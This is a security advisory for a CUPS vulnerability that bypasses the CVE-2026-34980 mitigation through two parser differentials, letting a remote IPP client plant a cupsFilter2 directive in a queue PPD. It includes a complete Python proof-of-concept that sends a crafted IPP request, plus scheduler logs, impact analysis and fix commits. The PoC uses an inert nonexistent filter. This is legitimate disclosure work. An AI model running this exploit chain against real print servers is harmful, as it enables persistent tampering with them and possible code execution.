GHSA-w9hj-hq9p-m7f6 on Cyberus Linux 26.05
Aliases: GHSA-w9hj-hq9p-m7f6
Packages: cups
Status: Plausible
Advisory Information
Summary
A remote IPP client able to submit jobs to a shared legacy PostScript/PPD queue can bypass the mitigations introduced for CVE-2026-34980.
The issue is caused by two successive parser differentials. First, a malformed IPP JOB attribute name is serialized into the textual filter option stream and can alter its grammar, recreating a
page-bordervalue containing LF after the option-value sanitization step.This allows injection of a
PPD:scheduler status record.A second differential allows CR inside the value of an otherwise permitted PPD keyword to become a new PPD line only after the sensitive-keyword blacklist has already been applied. This can materialize an effective
cupsFilter2directive and control the filter selected for a subsequent job.We reproduced the complete chain end-to-end on Ubuntu 26.04 with:
cups 2.4.16-1ubuntu1.3cups-filters 2.0.1-0ubuntu4.1The scheduler subsequently attempted to execute an attacker-controlled filter name. We deliberately used a nonexistent filter, so no arbitrary code was executed during validation.
We believe this is an incomplete-fix / parser-differential variant of CVE-2026-34980.
Details
The CVE-2026-34980 mitigation sanitizes option values and prevents sensitive PPD keywords such as
cupsFilter,cupsFilter2,cupsPortMonitor, andcupsPreFilterfrom being introduced through schedulerPPD:records.The first bypass occurs when CUPS converts IPP JOB attributes into the historical textual options representation passed to filters.
In
scheduler/job.c::get_options(), the attribute name is incorporated into that representation:cupsConcatString(optptr, attr->name, ...); cupsConcatString(optptr, "=", ...);The option value is subsequently sanitized, but the attribute name itself becomes part of the textual option grammar.
A crafted binary IPP request can therefore provide an attribute name containing syntax which is data in the original IPP representation but acquires structural meaning when the option string is parsed again.
In our reproduction this causes
cupsParseOptions()to reconstruct apage-bordervalue containing LF.The legacy
pstopsfilter subsequently reports the invalidpage-bordervalue through its status stream. The embedded LF creates a second scheduler status line beginning with:PPD:This gives attacker-controlled data access to the PPD update mechanism.
The second bypass occurs while that PPD update is validated and persisted. We use an allowed outer PPD keyword named
LabCarrier. Its value contains CR followed by a sensitive PPD directive:LabCarrier = ok<CR>*cupsFilter2: "..."At blacklist-validation time, the parsed keyword name is only:
LabCarrierso it is allowed. The corresponding value still contains:
ok<CR>*cupsFilter2: "..."When CUPS later persists the accepted keyword/value pair into the queue PPD, the CR is not neutralized. When the PPD is parsed again, that CR acts as a line separator, producing an independent
cupsFilter2directive.The complete chain observed in the lab was:
remote IPP client -> Print-Job with malformed JOB attribute name -> get_options() incorporates attr->name into filter options -> cupsParseOptions() reparses the option grammar -> page-border contains LF -> pstops reports the invalid value -> LF creates a second "PPD:" scheduler status record -> scheduler parses allowed outer keyword "LabCarrier" -> LabCarrier value contains CR + "*cupsFilter2: ..." -> blacklist checks only "LabCarrier" -> value is persisted into the PPD -> CR becomes a PPD line separator -> cupsFilter2 becomes an independent directive -> subsequent job uses attacker-controlled filter name -> scheduler attempts to execute that filterPoC
Tested environment
The complete end-to-end reproduction was performed on:
Ubuntu 26.04 cups 2.4.16-1ubuntu1.3 cups-filters 2.0.1-0ubuntu4.1The test requires:
cupsdreachable from the test client.- A shared legacy PostScript/PPD queue.
- The remote client permitted to submit
Print-Jobrequests to that queue.- A print path reaching
pstops.- Direct submission of a crafted binary IPP request.
The PoC below expects the printer queue to be named:
labpsand takes the CUPS server hostname or IP address as its only argument.
Before testing, verify that the marker filter does not exist on the server:
test ! -e /usr/lib/cups/filter/cups-lab-filter-THIS-MUST-NOT-EXISTSave the following as
ipp_exploit.py:#!/usr/bin/env python3 import http.client import struct import sys server = sys.argv[1] printer = "labps" def attr(tag, name, value): if isinstance(name, str): name = name.encode() if isinstance(value, str): value = value.encode() return ( bytes([tag]) + struct.pack("!H", len(name)) + name + struct.pack("!H", len(value)) + value ) # IPP/2.0, Print-Job, request-id 0x12345678 body = b"\x02\x00\x00\x02" + struct.pack("!I", 0x12345678) # operation-attributes-tag body += b"\x01" body += attr(0x47, "attributes-charset", "utf-8") body += attr(0x48, "attributes-natural-language", "en") body += attr(0x45, "printer-uri", f"ipp://{server}/printers/{printer}") body += attr(0x42, "requesting-user-name", "lab") body += attr(0x49, "document-format", "application/postscript") # job-attributes-tag body += b"\x02" # Inert marker only. bad_name = ( b'page-border="MARK' b"\nPPD: LabCarrier='ok\r*cupsFilter2: " b'\\"application/vnd.cups-postscript application/postscript 0 cups-lab-filter-THIS-MUST-NOT-EXIST\\"' b"'" b'\nDEBUG: tail' ) body += attr(0x42, bad_name, b"x") # end-of-attributes-tag body += b"\x03" body += b"""%!PS-Adobe-3.0 %%Pages: 1 %%EndComments %%Page: 1 1 showpage %%EOF """ c = http.client.HTTPConnection(server, 631, timeout=10) c.request( "POST", f"/printers/{printer}", body=body, headers={"Content-Type": "application/ipp"}, ) r = c.getresponse() data = r.read() print("HTTP:", r.status, r.reason) if len(data) >= 8: print("IPP version:", f"{data[0]}.{data[1]}") print("IPP status: 0x%04x" % int.from_bytes(data[2:4], "big")) print("request-id: 0x%08x" % int.from_bytes(data[4:8], "big")) print("response:", data[:100].hex())Run it from the remote client:
python3 ipp_exploit.py <cups-server>The malformed job causes the queue PPD to acquire an effective
cupsFilter2directive referencing:cups-lab-filter-THIS-MUST-NOT-EXISTRelevant CUPS logging from the first job shows the reconstructed filter option containing both parser transitions:
page-border="MARK PPD: LabCarrier='ok\r*cupsFilter2: \"application/vnd.cups-postscript application/postscript 0 cups-lab-filter-THIS-MUST-NOT-EXIST\"' DEBUG: tail=x ...and subsequently:
Unsupported page-border value MARK PPD: LabCarrier='ok\r*cupsFilter2: "..."After the PPD is updated/reloaded, CUPS reports that the controlled filter does not exist:
File "/usr/lib/cups/filter/cups-lab-filter-THIS-MUST-NOT-EXIST" not available: No such file or directorySubmit a second normal PostScript job to the same queue.
In our reproduction, the resulting filter chain contained:
3 filters for job: pstops (...) cups-lab-filter-THIS-MUST-NOT-EXIST (...) - (...)followed by:
Unable to start filter "cups-lab-filter-THIS-MUST-NOT-EXIST" - No such file or directory. Stopping job because the scheduler could not execute a filter.This confirms that the filter name introduced by the remote IPP request has become a functional
cupsFilter2directive and reached the scheduler's actual filter-execution path.The PoC intentionally references a nonexistent filter. It does not create or execute a payload.
Impact
A remote client that is permitted to submit jobs to an affected shared legacy PostScript/PPD queue can:
- inject additional scheduler status records;
- create attacker-controlled
PPD:records;- persistently modify the queue PPD;
- bypass the blacklist protecting security-sensitive PPD keywords;
- create an effective
cupsFilter2directive;- control the filter selected for subsequent print jobs; and
- reach the scheduler's filter execution attempt.
The experimentally confirmed impact is remote control of the CUPS filter execution path. Successful arbitrary code execution is considered conditional/potential.
The issue does not imply remote exploitation of a default fresh CUPS installation. The tested attack requires an accessible
cupsd, a shared legacy PostScript/PPD queue, and permission for the remote client to submit jobs to that queue.CVSS score remediation Rescored with CVSS v3, PR:L since the default configuration requires a local user account to submit the print job, I:L and A:L since the attack renders a single print queue non-functional.
Fix [master f32341d7f9f9e1566e788dea329af4ac26da4fc7] Validate IPP attribute names unconditionally (GHSA-w9hj-hq9p-m7f6)
[2.4.x 05fe6b0e848e51243e9d62e2c5adb6c3023f247e] Validate IPP attribute names unconditionally (GHSA-w9hj-hq9p-m7f6)
Updates
2026-09-21 21:25 CEST
Metadata changes:
- Status for package
cups: “Plausible”
2026-09-21 21:18 CEST
Metadata changes:
- Status for package
cups: “New”